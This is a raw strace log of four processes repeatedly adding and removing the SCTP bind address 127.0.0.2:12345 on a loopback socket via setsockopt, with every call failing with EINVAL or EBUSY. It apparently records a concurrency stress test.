[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
